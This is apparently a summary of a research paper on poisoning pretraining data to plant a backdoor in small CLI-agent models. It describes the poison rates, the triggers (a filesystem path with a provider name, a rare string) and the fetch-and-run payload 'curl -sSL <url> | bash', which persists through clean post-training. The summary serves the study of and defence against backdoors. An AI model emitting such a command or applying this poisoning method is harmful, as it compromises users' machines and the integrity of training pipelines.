A pretraining-poisoning paper implants a shell-command backdoor in CLI agents that clean post-training does not remove

The authors pretrained Qwen3 models from scratch at 0.6B, 1.7B and 4B parameters, then post-trained each into a CLI agent with an OLMo-3-style pipeline of SFT, DPO and RLVR, using no poisoned data after pretraining. The payload is curl -sSL <url> | bash. With 0.1% of pretraining tokens poisoned, the 4B model reaches a 92.7% Pass@32 attack success rate after the final stage when the trigger is an ordinary filesystem path containing a provider name. A rare injected string reaches 10.5% on the same model. At 0.0005%, which the paper puts at 2,500 documents in a 100B-token corpus, the trigger still fires on 1.4% of prompts in a single-seed 4B run.

Controls in the paper show the backdoor is specific to the poison. Clean models never emit the payload on triggered prompts, and poisoned models emit it on at most 0.06% of trigger-free prompts. Capability does not give it away: pretraining benchmark averages are 58.5% poisoned against 58.3% clean at 4B. The authors say the results come from models far smaller than production ones and from a fixed-string payload, so they have not shown the same persistence at frontier scale or for commands that adapt to the machine. This summary draws on the paper's main text, not its appendices or released code.

Why it matters: If clean post-training does not remove the behavior and capability tests do not show it, output checks on a model will not tell you it is there. The defense the authors point to is at the action layer: sandboxing, least-privilege execution, allow-lists or human confirmation for high-risk commands, and classifiers that screen actions before they run. That is a harness decision, and these results are from small models.